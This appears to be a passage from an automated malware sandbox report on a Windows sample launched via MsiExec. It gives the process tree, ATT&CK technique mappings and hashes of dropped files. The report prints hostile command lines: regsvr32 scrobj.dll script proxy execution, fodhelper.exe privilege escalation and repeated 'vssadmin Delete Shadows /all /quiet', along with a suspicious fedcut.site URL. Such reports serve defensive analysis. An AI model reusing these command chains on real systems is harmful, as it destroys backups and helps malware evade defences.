PID:5172
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5296
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding DCEBD379A035ECB6E9B17CBEAFC30339
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Users\Public\q1e5i8mfqk25.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2004
- - C:\Users\Public\q1e5i8mfqk25.exe
    C:\Users\Public\q1e5i8mfqk25.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:5992
  - - C:\Windows\system32\regsvr32.exe
      regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
      4⤵
      System Binary Proxy Execution: Regsvr32
      Modifies registry class
      PID:1528
  - - C:\Windows\system32\cmd.exe
      cmd /c "start fodhelper.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5652
    - - C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2800
      - C:\Windows\system32\regsvr32.exe
        
        "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
        6⤵
        System Binary Proxy Execution: Regsvr32
        Suspicious use of WriteProcessMemory
        
        PID:6136
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        7⤵
        Interacts with shadow copies
        
        PID:3944
  - - C:\Windows\system32\cmd.exe
      cmd /c "start fodhelper.exe"
      4⤵
      PID:2720
    - - C:\Windows\system32\fodhelper.exe
        
        fodhelper.exe
        5⤵
        
        PID:684
      - C:\Windows\system32\regsvr32.exe
        
        "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
        6⤵
        System Binary Proxy Execution: Regsvr32
        
        PID:5384
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        7⤵
        Interacts with shadow copies
        
        PID:2368
- - C:\Windows\System32\regsvr32.exe
    regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/x9au7i1
    3⤵
    - System Binary Proxy Execution: Regsvr32
    - Modifies registry class
    PID:1532
- - C:\Windows\System32\cmd.exe
    cmd /c "start fodhelper.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - C:\Windows\system32\fodhelper.exe
      fodhelper.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5408
    - - C:\Windows\system32\regsvr32.exe
        
        "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
        5⤵
        System Binary Proxy Execution: Regsvr32
        
        PID:4872
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:2988
- - C:\Windows\System32\cmd.exe
    cmd /c "start fodhelper.exe"
    3⤵
    PID:4904
  - - C:\Windows\system32\fodhelper.exe
      fodhelper.exe
      4⤵
      PID:4588
    - - C:\Windows\system32\regsvr32.exe
        
        "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/hq81v2j71h5t
        5⤵
        System Binary Proxy Execution: Regsvr32
        
        PID:264
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:5568
- - C:\Windows\System32\cmd.exe
    cmd /c "start microsoft-edge:http://94706090c4d4ec40866cbjbornr.fedcut.site/bjbornr^&2^&32176861^&89^&399^&2219041
    3⤵
    PID:3696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:http://94706090c4d4ec40866cbjbornr.fedcut.site/bjbornr&2&32176861&89&399&2219041
      4⤵
      PID:5512
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument microsoft-edge:http://94706090c4d4ec40866cbjbornr.fedcut.site/bjbornr&2&32176861&89&399&2219041
        5⤵
        Drops file in Program Files directory
        Checks processor information in registry
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Modifies registry class
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:404
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x260,0x7ffb29bdc188,0x7ffb29bdc194,0x7ffb29bdc1a0
        6⤵
        
        PID:2124
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1644,i,698678115424791895,6467605121556269144,262144 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:2
        6⤵
        
        PID:2540
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1768,i,15239647668551541402,10149848479239454861,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=2996 /prefetch:3
        6⤵
        System Time Discovery
        
        PID:4208
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2460,i,7161221033465106631,2427722204571056065,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=2944 /prefetch:8
        6⤵
        
        PID:3924
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3440,i,2632019366461265028,9558302650843062461,2097152 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:1
        6⤵
        
        PID:4564
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3444,i,7111804917903552570,13347690445274337000,2097152 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
        6⤵
        
        PID:4988
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4880,i,451982636520517137,483385213333365134,2097152 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=4904 /prefetch:1
        6⤵
        
        PID:1132
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=3848,i,8985819875694085114,14930923198850428437,2097152 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=3540 /prefetch:1
        6⤵
        
        PID:1052
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5028,i,16284451521186983416,18212364055909292353,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:8
        6⤵
        
        PID:296
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4872,i,8192247177774346881,18204384019325163493,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:8
        6⤵
        
        PID:2900
      - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5812,i,1642495070935386326,4800423984458513600,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:8
        6⤵
        
        PID:2832
      - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5812,i,1642495070935386326,4800423984458513600,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:8
        6⤵
        
        PID:4344
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=6120,i,11804868607069561468,11822881143895998526,2097152 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:1
        6⤵
        
        PID:4156
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6268,i,2047710291526348986,10306329011772128263,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=5868 /prefetch:8
        6⤵
        
        PID:4128
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5092,i,7830964497417724891,6921567136670128028,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:8
        6⤵
        
        PID:4508
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3856,i,15600218568264703551,10556438207513650682,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=5024 /prefetch:8
        6⤵
        
        PID:1132
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5836,i,778520132323926142,1863183478262880228,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=3936 /prefetch:8
        6⤵
        
        PID:1872
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5868,i,5297316192015240965,8184020078364512112,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=3896 /prefetch:8
        6⤵
        
        PID:1336
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=5432,i,4167696375814231902,4253665345631561389,2097152 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=3924 /prefetch:1
        6⤵
        
        PID:4508
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6228,i,9584032363041675121,9382916121589498859,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=5152 /prefetch:8
        6⤵
        
        PID:280
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3900,i,8891395240701668634,2462394304644298794,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=2740 /prefetch:8
        6⤵
        
        PID:2832
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6432,i,14337209973241236652,13280944864164203142,524288 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=5732 /prefetch:8
        6⤵
        
        PID:5952
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=6584,i,2576098439324269601,12102210845034137060,2097152 --field-trial-handle=2804,i,17458512424440529679,9653086842568278420,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:1
        6⤵
        
        PID:436

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3660

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2988

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3724

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Regsvr32

T1218.010

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

e5828a2.rbs

Path C:\Config.Msi\e5828a2.rbs
Size 8KB
SHA256 6ad154519e1cef76dedc6b171f0d8d675c360658ace1905d1df2edfd5e793617
MD5 34492bceb845fbae0ee8d20f10b4f2cd
SHA1 b0d8411925085e30ed96ea5053a7f2edd19352a3
SHA512 52bf3a1e3070655d60395bcfa93fa542304300aea9dc4a5cc623c290a81aacd1adcbfa5909ca22ad1943e5ffab9cbb8948c961045f7b4ef50a3842a0d34b3ee1
SSDEEP 96:E9uOKQpGiUes3xIUZpeD29ucCsThqEUZpeD29ucC6jlSs7jThqcHKLgERtw4pQTk:EDieCnFuzIaFuz4qfhqUpr
TLSH
T113020002B664C4D2E4B92335EF2B1B2077B5E3EB8205274B099EC46C0F5BBDDDE66581
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping404_1757863579\manifest.json
Size 177B
SHA256 096e772e0f2e8c15e6dec9087ee0a1fb8b0c56b25061626aedc9e7e705adfc2e
MD5 2714a51ed8c2a891ad73b7488ab655b9
SHA1 9a8cc479aec8de1b4eb678e5d68b23b16a39dc99
SHA512 4811522c06ad6946626a9f4d12eb62a1d623825d18a1cd0ad7b628f4c059f37d299b5857abffd959e4ea53239412490539f5705b4aa6c6951d13c68e6d5b72ad
TLSH
T1E6C012EFDC509DB215EB4323156D43C4E733CF4B1546490935FB66082A25981C193500
MD5 SHA1 SHA512 TLSH

Submit Download

keys.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping404_956678697\keys.json
Size 8KB
SHA256 ae6e69a145f84c0a261b4e82888779fbf137f193881d687588e1af71609ae947
MD5 d3ebc1cb4b692c6e2d29a4625420fe73
SHA1 4ce74c1e9af6fd34d6379ec0fec6afb24082a7c1
SHA512 e34b855615e6a3bf770f27d85aa29ca57a324c08bd8f8d9c0130e2a142c0e4a5f17bffd0861b725acc8a2316f73b7fe50406b0af26264a5c2d8f37599b260860
SSDEEP 192:uNtGbR+mFGfvPNyR9Pm4lOvMwkoR9PuGMXcy:ORmqwKjA
TLSH
T18402A57F14A41181CE7FC1698F0B78B78FA038065BCA3A83539BFA49494296D173B5B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping404_956678697\manifest.json
Size 79B
SHA256 7ea98f2308a9c51d17a1ac71b64afbe2a41ff0a083a166a0e4cc428bf44f0715
MD5 817fea104100763cd1bf4f15a51bfe94
SHA1 589717cf98cf7e2d55fc0d6025a4b8e215ed13d6
SHA512 da7b959d93113c5a6be360f90d9c721989c5e7acad7fa592081b582c4c3a0c4a9066a71473fd8492ce7fe7b0fbfd6870d939428a67fbd508fcf6b2c6dc1a41ea
TLSH
T15EA0122058019233108407600360478243551C022015244809461041258813A12A3128
MD5 SHA1 SHA512 TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_0427E0C422552175D60EE73B40A150E1

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_0427E0C422552175D60EE73B40A150E1
Size 746B
SHA256 28dcd5ec5eb8ff13fa0d255227c37ec2ee84093743b6e95c182be9f785504804
MD5 10e3878354c17629037bf4d26163e705
SHA1 451d9eac1fb8a2cca8f7a97ae61376fb960308c5
SHA512 79ebb51a41599fac5965517772975df5447ec3a22d2e41a3556f393c46c386fff7ae1edc623c72862ef3cf28ff722dcc7ca2271207c0590d232be7a4098a3732
TLSH
T1C30120018C8F6AA29A38C1698D48CB38A98A6101285C010A90393956E18D3E3C708F39
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 727B
SHA256 050bfb4a0623d7970e76d7b2d7684f41a9d41b311232fafb16f1bdbbbea97695
MD5 3463f67b4afecf42eecc9bc8897d7fa1
SHA1 54561d595325e243b106bf2b71d3308eac49c1e8
SHA512 28a1979480b481b5b3dc15fbe14e4d6308b9bb6c4bc73029c73a0d33e33bebbbbedca0d49c4a944bc02cd90911a6c461a5f569b20792784b82a705a932fcbe19
TLSH
T1A401602F90983A3069168C84D2FCF2A02179D5F59DE8010F5A68838F54ECB206DE38B2
MD5 SHA1 SHA512 TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_0427E0C422552175D60EE73B40A150E1

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_0427E0C422552175D60EE73B40A150E1
Size 404B
SHA256 14e7cad44481d4785fbd1aa6828887c4c4ca1214281af46cc46d89538638a05b
MD5 b903987e54b4cd41f2fc95c62110d604
SHA1 a096c106a20e3d250567e5c9cbbd73da4c40e7fe
SHA512 d1290f8a2359a3970ee832bb8451a1f7ddc7d8e8d4634f61650617d96b109e1f7f6ef78bdbb31f496f7548d5a337746f24c2155b4a4bdeabc99a03b3bd987610
TLSH
T141E0263422F9069EF0B1E83443E6AD125A8EF26619A1D6AB188456C67E15E419CA6630
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 412B
SHA256 0f6f60afa7e1ca365013b3aa4c9342449faf2e30928677b0c8dfbffeb88b0832
MD5 01820de13c6449b5de2dc113f0acc844
SHA1 12f46756a0568d3b96589e0a989f5f5ee816c3c2
SHA512 f87e6e9f2e25aa4965cf0830f85273cf48bf294dd7ed4ff622316b58797e21f090df2e98041504fdbe1d6f318b5fbf04fb2dba41e4b0857d80b9106c2cc81e5e
TLSH
T1D8E0682C15AB614EF050A93581EEB0711D99E301104087791490031CBF42F005D10AF0
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 cd04dec9a65c9ebbd9698b7d59631c916e6b6a0a7afdb22ef48d8a4a82d902d0
MD5 5491f296a003c3ba16025eb18fdfb799
SHA1 8104d473f5d8f681400a64b5d0ac5523a5d56b8e
SHA512 118ab6dad3343099380a953888db90a14fe8c7dcb62f906e55a163cdde9b95460d37b865178c48bfd20c166ef6b725e5b61ca55fc83a0221383e062a36b68b84
TLSH
T1CAD080D837B16C26C589947104857F4D351BC4A24D46D7267477297C5CC30C46D555D7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c7296caf0e9cce556825f28f3642cb5ac31e31a0ff760d227744d879c3a93dee
MD5 1fd2da899cebd4d5aac2a3d85c0bfd18
SHA1 3f4e6dbc96df63582e9ba17acceda5012e453d7a
SHA512 840622178b39a880be2d80a1349d1dc0f7bfb63bf38c38c71fd96b89033d54de3e6a88f15ad237f3b66a8ebbff2bcfb19f5b6a6e94882c94044f73046f231584
TLSH
T1D5D0C0CC33B13C26C58C807004457F4D340BC4A20D42C3263433297C0CC30C428514C3
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 4bce9add6c410333ed675742afebdd60b10e58b2415ee99914e82a9fee8f158c
MD5 893c30606d6026d2dc0fb062c8b5d7bf
SHA1 247a210e08b4f7af30adf583864bb85eae451b7d
SHA512 3ea1d7593f4cbf4f48b1ac34f1412d3ad60d75adaf84218fd7c5bee77d7b1f2666163647c667c45003b0a6a342ab4eae1e00213863f3f2f9b572dd94244e3315
TLSH
T1BBE02BAEC8219C3B54F90B186052464BFB62135B5B50884F3B3D92088FB47370555C5C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
